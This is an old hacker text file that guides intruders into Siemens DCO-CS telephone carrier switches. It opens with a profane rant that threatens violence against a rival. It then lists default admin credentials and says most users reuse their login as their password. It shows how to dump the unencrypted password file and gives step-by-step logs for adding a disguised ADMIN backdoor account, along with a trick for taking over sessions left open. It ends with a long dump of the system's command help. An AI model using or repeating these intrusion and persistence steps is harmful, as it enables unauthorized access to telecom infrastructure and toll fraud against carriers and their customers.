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NOTE : Hi, i`m DemonBytez, i would just like to say
FUCK YOU - to MR. Nobody for posting his
STOLEN! information from me on DCO. See kids
His info was straight from me. the DCO dial-up
and everything. Actually from an old enemy whom
Used to be my freind when i orignally scanned
for the DCO and found it. He then stole my dial-up
and my LOGS and my PASSWD and personal NOTES,
And felt it would be K-RAD of him to get some
Publicity by giving out the info i fucking worked
For. BULL SHIT. if anyone reading this wants to know
Who this kid is, don't worry. By the time you have this
his ass will be lying in the gutter since he is local to me.
Bring on the w00penz! Cyklonik and port9. you run
Cause as of now. We Own you. But as i will point out,
that MR. nobody did do some good research.
NOW! On with the SHOW!
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Guide to navigating and using DCO
By : DemonBytez of CyBrids CSE
Welcome kiddies, to another fun-filled edition of my happy text writing
skeewlz.
Today were going to be learning about DCO, what to do and what not to do. ;)
DCO-CS operating system currently is being used by such
telecommunications business's as westel (WesTelecommunication) which handles
Long distance and the likes. The particular DCO box i was playing in is based i
n houston.
I found it one day scanning around. And i suppose that this particular one,
was just being set-up because logs were printed out to the screen.
DCO-CS has been
designed, installed and is maintained by Siemens Stromberg-Carlson(r) , the com
pany, with a century in
experience in the manufacturing of telecommunications equipment.
Integrated to the DCO-CS most systems run the IBM AS/400,
which is a powerful operating system that is integrated to a multi-functional d
atabase.
This whole system is a 24 hour reliable
"real time" processing computer with the integration of the Intelink(tm)(r) Sys
tem.
The Siemens(r) Stromberg-Carlson(r) Digital
Central Office Carrier Switch (DCO-CS(tm)) is ideally designed for the medium t
o small businesses using Interexchange
Carrier Telephone System.
The DCO-CS, in its field, has the reputation of employing the latest in advance
d technology, which
a Interexchange Carrier requires.
Some of the many characteristics this equipment has are as follows:
Least Cost Routing
Account Code / ANI Validation
Feature Groups A, B, C, D & Inter Machine Trunks
Automatic Message Accounting
Partitioning of Individual Customer Route Treatments
Real Time Fraud Detection
700 / 800 / 900 Service
Hot Line Routing
Debit Card / Calling Card
International Call Back
800 Number Portability
SS7
800 Signaling Transfer Point
ISDN Transport (Integrated Services Digital Network)
Direct Access Lines
Operator Lines
Line Sides Operation
Follow-on Call
The Digital Central Office - Carrier Switch (DCO-CS(tm))
is a field proven, fully featured telephone switching system
optimized for interexchange carrier and reseller operations.
-
ALSO here is an excerpt from the newsletter from PHUN in 96 i think :
-
It seems that one company has devised a way of disguising good codes
while
someone is hacking them in real-time! The following is taken from that
article:
"We have written software in our DCO-CS [Digital Central Office-Carrier
Switch] that can detect when one of these hackers is at work by recognizing
the patterns they frequently use..... Usually a hacker will hit one code,
two codes, three codes, etc. - they usually follow some sort of pattern".
"By using their computers to perform a set of mathematical procedures,
or algorithms, hackers have been able to determine authorized calling
codes.
We use the algorithms to figure out what he's dailed so far and then
determine where he's going next"
"If he's going to what we know is a good code, then we will make it look
like a bad code for his call only. If he does hit that good code, he won't
be able to get through."
"If he's using a random pattern with his off code, he's probably using
either the same number he's calling to, which we can monitor by watching
the successive call to that same number, or we can monitor the fact that
he's hitting 'x' number of bad off codes in a row."
-
So you can assume `using` DCO-CS is safe. BUT! running it? LOL. not a chance.
but PHUN's excerpt would explain why the logs are spewed out
everytime you stroke a key basically.
The logs look like this :
.___State
| .__Company .__Year-month-day
| | / .___ Time
CITY____. / / / / .__TASK
\/ \/ \/ \/ \/ \/
XXXXXX_XX_WESTEL 90-00-20 20:11:38 TASKCK TT07 <--- Port
MP .0746:FILE=SY:/FPDB/TXSIT
/\ /\
\ \
\ \__No clue.
\__LOG
Scarry for someone who won't have admin access. but wait! whats that you say?
You repeatedly type shit, yet the only thing that appears on the screen
is this annoying bitch :
DCO>
DCO>
DCO>
DCO>
DCO>
Well Don't Fret! ;) You shall have admin access shortly. ok kids get this.
When trying to type a command line in, use the `$` sign to do ANYTHING.
I will include logs to show what i mean later.
ALSO!
The passwd file on this system is not encrypted and most likley is in DEFAULT!!
!
YAY! kinda reminds me of the 80's once again *sigh*
ok anyhow, You might see shit when your at the login prompt
and you see shit fly by about a user. Hmmmm you ask yourself "hey is this a use
r i can use?" lol.
Yes. it is. and 90 % of the time. his passwd is the same as his login. Gadda lo
ve it.
Lookie here at this
once i was in i pulled a little $PASSWM which is also described in the help fil
e with a $HELP.
This is what the passwd file looks like :
----------log----------------
$PASSWM
XXXXXX_XX_WESTEL XX-XX-XX XX:XX:XX PASSWM TT07
M ADM.0000: PASSWM BEGIN DIALOGUE
PAS> ENTER FUNCTION (FUNC=HELP) > ?
LIST
ADD
DELETE
EXIT
CHANGE
PAS> ENTER FUNCTION (FUNC=HELP) > LIST
NAME PASSWORD GROUP(S)
---- -------- --------
ADMIN ADMIN ADMIN
SECURE SECURE SECURE
TMRS TMRS TMRS
SCAT SCAT SCAT
MAINT MAINT MAINT
STATUS STATUS STATUS
NAC NAC NAC
ESPF ESPF ESPF
-----------log-------------------------
This is the default logins for almost all DCO-CS systems you come across.
We will get to the different groups meaning and everything in the next installm
ent.
when making new login create something non noticable :
like this
$PASSWM
than goto ADD
i.e. -
=========log=====================
PAS> ENTER FUNCTION (FUNC=LIST) > ADD
PAS> USERNAME (USERNAME=HELP) > Technical
PAS> PASSWORD (PASSWORD=HELP) > Technical
PAS> GROUP (GROUP=HELP) > ADMIN
PAS> ENTER GROUP FUNCTION (GROUP_FUNCTION=HELP) > ADD
========log======================
BLamo! new user. you can use this as a backdoor at anytime,
And All users can veiw the passwd file at any time.
Also a neat little trick is that much like older unix systems,
ODC-CS Often leaves the person whom didn't log out, and just closed connection,
it leaves
there full account open, so you could poosibly get admin on connect ;)
Heres the full unadulterated $HELP file for DCO-CS OS.
$HELP
VALID AREAS:
FUNC - AVAILABLE MMI FUNCTION LIST
MMIS - MMI SUMMARY
XREF - RLS1000 AND RLS4000 FUNCTION CROSS REFERENCE
HEL> HELP AREA (AREA=FUNC) > FUNC
========
This is MMI functions list you can currently use.
after every so many lines it will prompt you for further help. just press yes.
At any time during any Functions, just press CTRL+P to brake anything.
AVAILABLE FUNCTIONS ARE:
ABNUTL - PERFORM AUTOMATIC BALANCE NETWORK FUNCTIONS
ABORT - ABORT OPERATION OF AN ACTIVE TASK
ACISU - ALARM CONTROL INTERFACE START UP
ACITST - TEST ALARM CONTROL INTERFACE
ACTUTL - DISPLAY/ACKNOWLEDGE/CLEAR ACTIVE ALARMS
ADMIN - RECENT CHANGE/DATABASE ADMINISTRATION
ALMSEN - SWITCH BETWEEN LOCAL AND REMOTE ALARM REPORTING
AMA - CONFIGURE AUTOMATIC MESSAGE ACCOUNTING (AMA)
AMCDMP - ADMINISTER AMA MESSAGE THRESHOLDS
AMFMAU - VERIFY FORMATTED AMA TICKETS
AMOPT - ADMINISTER SYSTEM OPTIONS
AMPRPT - SET FREQUENCY OF REPEAT NOTIFICATION OF ALARMS
AMPUTL - ALARM MESSAGE PROCESSING UTILITY
AUDIT - VERIFY S/W RECORD OF H/W STATES MATCH ACTUAL H/W
BKRNS - BACKUP RNS DISK AT THE HOST OFFICE
BLDINH - MASK/UNMASK BUILDING SECURITY ALARM
BUFDMP - SEARCH/CLEAR/DUMP CP BUFFERS
CANCEL - CANCEL WATCH TIMER FOR TID AND IDN
CBUG - DEBUG UTILITY FOR LLS/RLS-1000 AND CODC DEVICES
CHEKER - COMPARE MP MEMORY TO DISK
HEL> DISPLAY ADDITIONAL FUNCTIONS (MORE=YES) > Y
AVAILABLE FUNCTIONS ARE:
CHKUTL - VERIFY DISK INTEGRITY
CLEAR - INITIALIZE SPAN ERROR COUNTERS
CODE - DCO-CS CUSTOMER ROUTING
CONFIG - CONFIGURATION CONTROL (LOAD,SWITCH,MASK,ETC.)
CONUTL - CONVERT EQUIPMENT NUMBERS
COPY - COPY DATABASES FROM MEMORY TO DISK
CPDMP - DISPLAY DATA COLLECTED FROM A CP CRASH
CPPTCH - CALL PROCESSING PATCH UTILITY
CPREST - ONLINE CP RESET
CPSRCH - SEARCH CP BUFFER
CPSU - CALL PROCESSING START UP
CSADM - DCO-CS ADMINISTER ANI DN'S AND AUTH CODES
DBADMN - DCO-CS CHANGE MAX ENTRIES IN SELECTED TABLES
DBUTL - ADMINISTER MP DATABASE PARAMETERS
DBVER - DATABASE VERIFICATIONS AND CONFIGURATION REPORTS
DEBUG - DEBUG UTILITY FOR MP
DEVMOU - BUILD CONFIG FILE TO REBUILD SYSTEM MOUNT STATUS
DIAG2 - MANUALLY DIAGNOSE/VERIFY FAULT IN MOS SIDE OF SYSTEM
DIAG3 - MANUAL DIAGNOSTICS TO TEST FORCED FAULTS
DMPUTL - DUPLEX MP UTILITY (LOCK,SWITCHOVER,DOWNLOAD,ETC.)
HEL> DISPLAY ADDITIONAL FUNCTIONS (MORE=YES) > Y
AVAILABLE FUNCTIONS ARE:
DNAUTL - DIRECTORY NUMBER AUDIT UTILITY
DTIUTL - CONFIGURE/STATUS OF DTI/DS1M FOR LLS/RLS-1000/RLS-4000
DUMPER - DUMP RAW DATA RECORDS FROM DISK
ECCRPT - REPORT 1-BIT PARITY ERRORS CORRECTED IN CP/MP/FP
ECD - DISPLAY ERROR COUNTERS
EDIT - DCO SYSTEM EDITOR
EQCHEK - TEST ACCESS TO EQUIPPED HARDWARE
FILSYS - PERFORM FILE OR DISK MANIPULATION FUNCTIONS
FLSH - FLUSH ALARM MESSAGE PROCESSING BUFFERS
FLXANI - DCO-CS ADMINISTER FLEX ANI TABLES
FPBUG - DEBUG UTILITY FOR FP
FPCDMP - DISPLAY/SAVE DATA COLLECTED FROM AN FP CRASH
FPSU - FEATURE PROCESSOR (FP) START UP
FREE - DISPLAY NUMBER OF FREE BLOCKS IN MP MEMORY
FXLN - ADMINISTER/CONFIGURE FX COMMUNICATIONS TO AN RNS
GBUG - GENERIC DEBUG UTILITY
HEY - MP OPERATING SYSTEM TASK COMPLETION ADVISOR
HSTUTL - COLLECT/RETRIEVE HISTORY OF ALARM MESSAGES
HOTLIN - DCO-CS ADMINISTER HOT LINE DATA BASE
INSTAL - MP OPERATING SYSTEM MANUAL TASK INSTALLER
HEL> DISPLAY ADDITIONAL FUNCTIONS (MORE=YES) > Y
AVAILABLE FUNCTIONS ARE:
INWANI - DCO-CS ADMINISTER INWATS NUMBER ROUTED BY NPA/NXX
INWATS - DCO-CS ADMINISTER INCOMING 800 SERVICE
ISUUTL - ADMINISTER ALARM LEVEL PRIORITIES AND CONDITIONS
LLC - LINE LOAD CONTROL OF SUBSCRIBER LINES
LOGOFF - LOGS OFF TERMINAL
LSPT - LIGHT TRAFFIC TESTS (DO NOT RUN DURING HEAVY TRAFFIC)
MACLR - CLEAR MEMORY AUDIT DATA
MANUAL - MANUAL CONTROL OF PORTS
MAUDIT - MEMORY AUDIT ROUTINE
MBI - REPORT MASKS AND ERRORS ON MBI BUS
MEMCHK - REPORT DIFFERENCES BETWEEN CP MEMORY (GENERIC CODE) AND DISK
MEMMAP - DISPLAY MEMORY MAP
MODEM - ADMINISTER SYSTEM PARAMETERS FOR MODEM SECURITY
MOVEDB - DCO-CS DATA BASE COMPRESS PROGRAM
MSKUTL - TEMPORARILY MASK ALARM AND MESSAGE REPORTING
NITSWC - INITIATE SERVICE CIRCUIT SWITCHOVER
OCC - DCO-CS ADMINISTER SYSTEM OPTIONS
OPR - DCO-CS ADMINISTER OPERATOR GROUPS
PABX - ADMINISTER PABX GROUPS
PARTN - DCO-CS ADMINISTER PARTITION NUMBER TABLES
HEL> DISPLAY ADDITIONAL FUNCTIONS (MORE=YES) > Y
AVAILABLE FUNCTIONS ARE:
PASSWM - ADMINISTER USER PASSWORD LIST
PATCH - MP OPERATING SYSTEM PATCHER
PATRPT - FORMAT PATCH INTO REPORT
PAUDIT - AUDIT PATCHES APPLIED TO DISK/SYSTEM
PCOS - DCO-CS ADMINISTER PARTITION CLASS OF SERVICE
PED - ADMINISTER/APPLY/VERIFY PATCHES TO DISK/SYSTEM
POORA - POINT OF ORIGINATION FOR RECORDED ANNOUNCEMENTS
PORTST - LIST PORT STATUS; LIST/CHANGE LOCKOUT THRESHOLDS
PSAUTL - PORT STORE AREA (PSA) UTILITY
REBOOT - REBOOTS THE MAINTENANCE PROCESSOR
RECOV - PUT CALL PROCESSORS IN SYNC
REMOVE - REMOVE A RESIDENT PROGRAM FROM MEMORY
RESTOR - RESTORE CALL PROCESSOR
RFRNS - COPY FILES FROM RNS TO THE HOST OFFICE
RGU - DCO-CS LEAST COST ROUTING UPDATE/DISPLAY
RNSAMA - DISPLAY AMA BUFFER STATUS IN AN RNS AT THE HOST
RNSBMP - DISPLAY RNS BMP STATUS AT THE HOST
RNSUTL - CONFIGURE/STATUS/DIAGNOSTIC TESTING OF SIGNALING LINKS
ROTL - TRANSMISSION/OPERATIONAL TESTING OF OUTGOING & 2-WAY TRUNKS
ROUTE - DCO-CS DISPLAY CUSTOMER ROUTING
HEL> DISPLAY ADDITIONAL FUNCTIONS (MORE=YES) > Y
AVAILABLE FUNCTIONS ARE:
RRTUTL - REROUTE MESSAGES TO ADDITIONAL TERMINAL POINTS
RSMUTL - REMOVE/RESTORE/MASK/UNMASK/TEST RLG SPAN
RSUTL - ROUTINE SWITCHOVER UTILITY
RTEST - ROUTINE TESTING
RTOPT - ADMINISTER ANALOG TRUNKS AND SERVICE CIRCUITS
RTR - ADMINISTER ROUTE TREATMENT DATABASE
SBUG - STOP FPBUG
SCTST - DCO-CS SERVICE CIRCUIT DIAGNOSTICS
SECTTY - ADMINISTER TERMINAL ACCESS GROUP(S)
SELMCL - OUTGOING CALL TRACE
SELNUM - DCO-CS ADMINISTER BLOCKED DIRECTORY TABLES
SERV - DCO-CS CHANGE SERVICE CIRCUIT TABLES
SLUUTL - CONFIGURE/ADMINISTER/MASK/TEST SLUS
SNCUTL - CONFIGURE/STATUS OF SNC FOR LLS & RLS-1000
SPCALL - DCO-CS ADMINISTER SPEED CODES
STASND - DIGIT ALARM SENDING UTILITY
STATE - DISPLAY SYSTEM STATE
STATE1 - CHANGE TO SYSTEM STATE 1
STATE2 - CHANGE TO SYSTEM STATE 2
STATUS - DISPLAY SYSTEM STATUS
HEL> DISPLAY ADDITIONAL FUNCTIONS (MORE=YES) > Y
AVAILABLE FUNCTIONS ARE:
STOP - TERMINATE EXECUTION OF $TEST, $GBUG, $DIAG2, OR $BTBT
SWITCH - MANUALLY SWITCH TONES/RINGING GENERATORS/CLOCKS (NON RLS-4000)
TAPE - DISPLAY FORMATTED TICKETS ON AMA TAPE
TASKCK - AUDITS THE DISK DATABASE FOR NECESSARY/UNNECESSARY FILES
TCOS - ADMINISTER TRUNK CLASS OF SERVICE
TFM - ACTIVATE/DEACTIVATE/AUDIT/DISPLAY TMRS
TFMRP - DISPLAY SPECIFIC TMRS MEASUREMENTS/REPORT DATA/STUDY SET
TIKFM - DCO-CS DISPLAY AMA TAPE FORMAT
TIME - DISPLAY SYSTEM DATE/TIME
TIMEC - CHANGE SYSTEM DATE/TIME
TIMER - ADMINISTER/CONFIGURE CP OCCUPANCY MEASUREMENTS
TKTHRS - ADMINISTER TRUNK THRESHOLDS
TMAD - ADMINISTER/CONFIGURE TMRS
TMBUG - DEBUGGER FOR TRAFFIC MEASUREMENT PROCESSOR
TMPDMP - DISPLAY DATA COLLECTED FROM A TMP CRASH
TMRPRT - MANUALLY DISPLAY A TMRS VARIABLE REPORT (WITH FP)
TRACE - DCO-CS CALL TRACE UTILITY
TRACER - ALLOWS USE OF TRACER BOARD FOR CP
TRK - ADMINISTER TRUNK GROUP ASSIGNMENTS
TRKUTL - ADMINISTER TRUNK TESTING DATABASE
HEL> DISPLAY ADDITIONAL FUNCTIONS (MORE=YES) > Y
AVAILABLE FUNCTIONS ARE:
TSEP - ADMINISTER/CONFIGURE TRAFFIC SEPARATIONS
TTU - ADMINISTER TRANSLATION DATABASE
UNMASK - ENABLE REPORTING OF MESSAGES & H/W FAULTS (NON-RLS-4000)
UNSYNC - TAKE CALL PROCESSORS OUT OF SYNC
UPACK - UNPACK A FILE
UPDATE - UPDATE THE SYSTEM STATE
UTL - MOUNT/DISMOUNT DEVICE/FEATURE; CONFIGURE TASKS
VALPC - DCO-CS ADMINISTER VALIDATED PROJECT CODES
VCHECK - VERSION CHECKER
VST - ADMINISTER VARIABLE STATE TIMERS
XDSO - CP MESSAGE SENDER/DEBUGGER
XFER - TRANSFER FILES BETWEEN THE DCO AND ANOTHER SYSTEM
XRTEST - TERMINATE ROUTINE TESTING
==============================================================
AND here is the MMIS a `brief` summary found on the system
============================================
HEL> HELP AREA (AREA=FUNC) > MMIS
BRIEF SUMMARY OF MMI:
THE \ ALLOWS SPECIAL CHARACTERS TO BE INPUT TO A TASK.
THE , DENOTES A PARAMETER SEPARATOR.
THE ! DENOTES A LINE CONTINUATION CHARACTER.
THE ; DENOTES A LINE TERMINATOR.
THE : IS SYNONYMOUS TO DONE.
THE "" IS USED TO ENCLOSE A STRING OF ONE OR MORE CHARACTERS.
BRIEF SUMMARY OF MMI:
IF A SINGLE RESPONSE CONTAINS MORE THAN 65 CHARACTERS, THE
EXCESS CHARACTERS WILL BE TRUNCATED.
IF THE RESPONSE CONTAINS A BLANK OR COMMA NOT BEING USED AS A
DELIMITER, THE ENTIRE STRING MUST BE ENCLOSED IN DOUBLE
QUOTATION MARKS. THE 65-CHARACTER RESTRICTION STILL APPLIES.
EXIT IS A VALID RESPONSE TO ANY PROMPT.
HELP IS A VALID RESPONSE TO ANY PROMPT AND LISTS THE VALID
HEL> DISPLAY ADDITIONAL MMI STANDARDS (MORE=YES) > Y
BRIEF SUMMARY OF MMI:
RESPONSES WITH A DESCRIPTION OF EACH. HELP MUST BE
ENTERED IN FULL BECAUSE MCR IS NOT USED FOR HELP.
HELP= HAS VALID VALUES OF ON OR OFF AND CAN BE ENTERED AT ANY
PROMPT. ON WILL DISPLAY THE HELP INFORMATION AUTOMATICALLY
PRIOR TO ALL PROMPTS. OFF WILL DISABLE THE AUTOMATIC HELP
INFORMATION.
THE ^ IS A VALID RESPONSE TO ANY PROMPT AFTER THE INITIAL
PROMPT AND IS USED TO MOVE TASK EXECUTION TO THE PREVIOUS
LEVEL OF PROMPTING. THE ^ IS NOT ALLOWED AT THE INITIAL
PROMPT BECAUSE IT CANNOT BE USED TO EXIT A TASK.
THE ALL RESPONSE ALLOWS THE USER TO SPECIFY MULTIPLE DEVICES,
TESTS, AND CONFIGURATIONS (SELECT PROMPTS ONLY).
THE CTRL P IS USED TO CANCEL A FUNCTION IN PROGRESS.
HEL> DISPLAY ADDITIONAL MMI STANDARDS (MORE=YES) > Y
BRIEF SUMMARY OF MMI:
THE & WHERE VALID REPRESENTS A LOGICAL AND.
THE && WHERE VALID REPRESENTS A LOGICAL INCLUSIVE THROUGH.
THE * ALLOWS THE USER TO SELECT THE ENTIRE RANGE OF POSSIBILITIES.
THE OPTION WORD IS ENTERED ON THE INITIAL COMMAND LINE AFTER THE
TASK NAME. THE OPTION WORD IS ASSIGNED A VALUE (-F[OCTAL]) OR
IT'S ASCII REPRESENTATION.
VALUE ASCII DEFINITION
HEL> DISPLAY ADDITIONAL MMI STANDARDS (MORE=YES) > Y
BRIEF SUMMARY OF MMI:
____________________________________________________________
-F1 /NODIAL NO DIALOGUE (HEADER OR TRAILER
MESSAGE OUTPUT) TO TERMINAL.
-F2 /OFFLINE REQUEST COMMUNICATION WITH
OFF-LINE CP.
-F4 /NOCOMM COMMUNICATION WITH TTY IS NOT
NEEDED. ALL INPUT MUST BE ON
THE COMMAND LINE.
-F40 /NOPAGE DO NOT OUTPUT IN PAGINATED FORM.
VALUES MAY BE ADDED TOGETHER TO INDICATE MULTIPLE OPTIONS,
EG: -F3 = -F1 AND -F2
=============================================
And heres the complete XREF help file :
=============================================
HEL> HELP AREA (AREA=MMIS) > XREF
TASK FUNCTION RLS-1000 RLS-4000
ABNUTL DISABLE NO CHANGE TO MMI NO CHANGE TO MMI
ABNUTL DISPLAY NO CHANGE TO MMI NO CHANGE TO MMI
ABNUTL ENABLE NO CHANGE TO MMI NO CHANGE TO MMI
ABNUTL TEST $TEST $TEST
ADMIN CEI-CUST EQPMNT INTERFACE $ADMIN CEI $ADMIN CEI
ADMIN ESS-RLS-4000 ESS FILES $ESS $ADMIN ESS
ADMIN HG-HUNT GROUP NO CHANGE TO MMI NO CHANGE TO MMI
ADMIN LCC-LINE CLASS CODES NO CHANGE TO MMI NO CHANGE TO MMI
ADMIN LINE NO CHANGE TO MMI NO CHANGE TO MMI
ALMSEN REMOTE ALARM SENDING NO MMI NO MMI
BBTSTOP $STOP BTBT $STOP BTBT
BBTUTL BOARD-TO-BOARD TEST NO CHANGE TO MMI NO CHANGE TO MMI
CBUG * NO CHANGE TO MMI N/A
CBUG + NO CHANGE TO MMI $GBUG
CBUG - NO CHANGE TO MMI $GBUG
CBUG ACI NO CHANGE TO MMI N/A
CBUG ALITT NO CHANGE TO MMI $GBUG
CBUG BA NO CHANGE TO MMI $GBUG
CBUG BYT NO CHANGE TO MMI $GBUG
HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y
TASK FUNCTION RLS-1000 RLS-4000
CBUG BYTE NO CHANGE TO MMI $GBUG
CBUG CBC NO CHANGE TO MMI N/A
CBUG CDE NO CHANGE TO MMI $GBUG
CBUG CFD NO CHANGE TO MMI $GBUG
CBUG CLR RESTART NO CHANGE TO MMI N/A
CBUG CODC NO CHANGE TO MMI N/A
CBUG CODC READ NO CHANGE TO MMI N/A
CBUG CODC WRITE NO CHANGE TO MMI N/A
CBUG CR NO CHANGE TO MMI N/A
CBUG CSD NO CHANGE TO MMI N/A
CBUG D NO CHANGE TO MMI $GBUG
CBUG DB NO CHANGE TO MMI $GBUG
CBUG DCOSLC NO CHANGE TO MMI N/A
CBUG DEBUG NO CHANGE TO MMI $GBUG
CBUG DEC NO CHANGE TO MMI $GBUG
CBUG DEV NO CHANGE TO MMI $GBUG
CBUG DEVICE CODC NO CHANGE TO MMI N/A
CBUG DEVICE DLI NO CHANGE TO MMI N/A
CBUG DEVICE RPL NO CHANGE TO MMI N/A
HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y
TASK FUNCTION RLS-1000 RLS-4000
CBUG DL NO CHANGE TO MMI $GBUG
CBUG DLI NO CHANGE TO MMI N/A
CBUG DLI READ NO CHANGE TO MMI N/A
CBUG DLI WRITE NO CHANGE TO MMI N/A
CBUG DM NO CHANGE TO MMI $GBUG
CBUG DMP NO CHANGE TO MMI $GBUG
CBUG DMPB NO CHANGE TO MMI $GBUG
CBUG EV NO CHANGE TO MMI $GBUG
CBUG EVA NO CHANGE TO MMI $GBUG
CBUG EXIT NO CHANGE TO MMI $GBUG
CBUG FC NO CHANGE TO MMI N/A
CBUG FD NO CHANGE TO MMI $GBUG
CBUG FINK CPD NO CHANGE TO MMI $GBUG
CBUG FINK DUMP NO CHANGE TO MMI $GBUG
CBUG FINK OFF NO CHANGE TO MMI $GBUG
CBUG FINK ON NO CHANGE TO MMI $GBUG
CBUG FLYING DUMP NO CHANGE TO MMI $GBUG
CBUG HELP $GBUG
CBUG HEX NO CHANGE TO MMI $GBUG
HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y
TASK FUNCTION RLS-1000 RLS-4000
CBUG INS D NO CHANGE TO MMI N/A
CBUG L NO CHANGE TO MMI $GBUG
CBUG LB NO CHANGE TO MMI $GBUG
CBUG LGC NO CHANGE TO MMI $GBUG
CBUG LGH NO CHANGE TO MMI N/A
CBUG LOAD NO CHANGE TO MMI $CONFIG LOAD
CBUG LOC NO CHANGE TO MMI $GBUG
CBUG LSC-II NO CHANGE TO MMI $GBUG
CBUG LSC DOWNLOAD NO CHANGE TO MMI $CONFIG
CBUG LSC RESTART NO CHANGE TO MMI $GBUG
CBUG LTC NO CHANGE TO MMI $GBUG
CBUG MAH NO CHANGE TO MMI N/A
CBUG MAR NO CHANGE TO MMI N/A
CBUG MCI NO CHANGE TO MMI N/A
CBUG MDC NO CHANGE TO MMI N/A
CBUG MDC2 NO CHANGE TO MMI N/A
CBUG MDC3 NO CHANGE TO MMI N/A
CBUG MTO NO CHANGE TO MMI N/A
CBUG MUX NO CHANGE TO MMI N/A
HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y
TASK FUNCTION RLS-1000 RLS-4000
CBUG NO RESET NO CHANGE TO MMI $GBUG
CBUG NORM NO CHANGE TO MMI $GBUG
CBUG OCT NO CHANGE TO MMI $GBUG
CBUG PBR1 NO CHANGE TO MMI N/A
CBUG PBRO NO CHANGE TO MMI N/A
CBUG PGH NO CHANGE TO MMI $STATUS
CBUG PROMID NO CHANGE TO MMI $GBUG
CBUG RA NO CHANGE TO MMI $GBUG
CBUG RESTART NO CHANGE TO MMI $GBUG
CBUG RESTORE NO CHANGE TO MMI $GBUG
CBUG RING NO CHANGE TO MMI $TEST
CBUG RIO NO CHANGE TO MMI N/A
CBUG RPL NO CHANGE TO MMI N/A
CBUG RPL READ NO CHANGE TO MMI N/A
CBUG RPL WRITE NO CHANGE TO MMI N/A
CBUG S NO CHANGE TO MMI $GBUG
CBUG SB NO CHANGE TO MMI $GBUG
CBUG SEG NO CHANGE TO MMI $GBUG
CBUG SET NO CHANGE TO MMI $GBUG
HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y
TASK FUNCTION RLS-1000 RLS-4000
CBUG SG NO CHANGE TO MMI $GBUG
CBUG SLCDCO NO CHANGE TO MMI N/A
CBUG SR NO CHANGE TO MMI $GBUG
CBUG SWITCH NO CHANGE TO MMI $CONFIG SWITCH
CBUG TCB NO CHANGE TO MMI N/A
CBUG UNMASK NO CHANGE TO MMI $CONFIG UNMASK
CBUG WOR NO CHANGE TO MMI $GBUG
CBUG WORD NO CHANGE TO MMI $TFSTST
CBUG XD NO CHANGE TO MMI $TFSTST
CBUG XD SUM NO CHANGE TO MMI $TFSTST
CBUG XDD NO CHANGE TO MMI $TFSTST
CBUG XDP NO CHANGE TO MMI $TFSTST
CBUG XDR NO CHANGE TO MMI $TFSTST
CBUG XS NO CHANGE TO MMI $TFSTST
CBUG Z NO CHANGE TO MMI $GBUG
CBUG ZB NO CHANGE TO MMI $GBUG
CODRES CODE RESTRICTION ADMIN $ADMIN CODRES $ADMIN CODRES
CONUTL CONVERT ENS NO CHANGE TO MMI NO CHANGE TO MMI
CPREST CPREST NO CHANGE TO MMI N/A
HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y
TASK FUNCTION RLS-1000 RLS-4000
CPREST CPREST OFL NO CHANGE TO MMI N/A
CPREST CPREST ONL NO CHANGE TO MMI N/A
CPREST ERROR CONDITIONS NO CHANGE TO MMI N/A
CPSU STATE 1 CPSU NO CHANGE TO MMI N/A
CPSU STATE 1 CPSU C NO CHANGE TO MMI N/A
CPSU STATE 1 CPSU S NO CHANGE TO MMI N/A
CPSU STATE 2 CPSU NO CHANGE TO MMI N/A
CPSU STATE 4 NO CHANGE TO MMI N/A
CUSUTL ADD $ADMIN CEI $ADMIN CEI
CUSUTL CHANGE $ADMIN CEI $ADMIN CEI
CUSUTL DEL $ADMIN CEI $ADMIN CEI
CUSUTL DISP $ADMIN CEI $ADMIN CEI
CUSUTL LIST $ADMIN CEI $ADMIN CEI
DBUTL CUS $ADMIN CEI $ADMIN CEI
DBUTL DTSITE NO CHANGE TO MMI $ADMIN RLS
DBUTL LSDB NO CHANGE TO MMI $ADMIN RLS
DTIUTL CLR-CLEARS ERROR COUNTERS NO CHANGE TO MMI $CLEAR
DTIUTL FZR-REMOVE THE FREEZE BIT NO CHANGE TO MMI $CONFIG UNLOCK
DTIUTL FZS-SET THE FREEZE BIT NO CHANGE TO MMI $CONFIG LOCK
HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > Y
TASK FUNCTION RLS-1000 RLS-4000
DTIUTL RED-REBOOT THE DTC NO CHANGE TO MMI $CONFIG LOAD
DTIUTL REM-REMOVE SPAN NO CHANGE TO MMI $CONFIG REMOVE
DTIUTL RES-RESTORE SPAN NO CHANGE TO MMI $CONFIG RESTORE
DTIUTL RPT-SHOW STATUS/COUNTERS NO CHANGE TO MMI $STATUS/$CLEAR
DTIUTL SLX-SWITCH DTC TO SIDE X NO CHANGE TO MMI $CONFIG SWITCH
DTIUTL SLY-SWITCH DTC TO SIDE Y NO CHANGE TO MMI $CONFIG SWITCH
DTIUTL SWS-SWITCH SIDES NO CHANGE TO MMI $CONFIG SWITCH
ECD <CR> NO CHANGE TO MMI $GBUG
ECD CLEAR NO CHANGE TO MMI $GBUG
ECD CLEAR CBC NO CHANGE TO MMI N/A
ECD CLEAR CP NO CHANGE TO MMI N/A
ECD CLEAR DCO NO CHANGE TO MMI $GBUG
ECD CLEAR ERROR COUNTERS NO CHANGE TO MMI $GBUG
ECD CLEAR LGC NO CHANGE TO MMI $GBUG
ECD CLEAR LSC NO CHANGE TO MMI $GBUG
ECD CLEAR MAH NO CHANGE TO MMI N/A
ECD CLEAR MAR NO CHANGE TO MMI N/A
ECD CLEAR MCI NO CHANGE TO MMI N/A
ECD DISP CBC NO CHANGE TO MMI N/A
HEL> ADDITIONAL CROSS REFERENCES (MORE=YES) > YES
TASK FUNCTION RLS-1000 RLS-4000
ECD DISP DCO NO CHANGE TO MMI $GBUG
ECD DISP LSC NO CHANGE TO MMI $GBUG
ECD DISP MAH NO CHANGE TO MMI N/A
ECD DISP MAR NO CHANGE TO MMI N/A
ECD DISP MCI NO CHANGE TO MMI N/A
ECD DISPLAY NO CHANGE TO MMI $GBUG
ECD DISPLAY ERROR COUNTERS NO CHANGE TO MMI $GBUG
ECD EXIT NO CHANGE TO MMI $GBUG
ECD HELP NO CHANGE TO MMI $GBUG
ECD ^ NO CHANGE TO MMI $GBUG
ESS BUILD-CREATE AN ESS FILE NO CHANGE TO MMI $ADMIN ESS
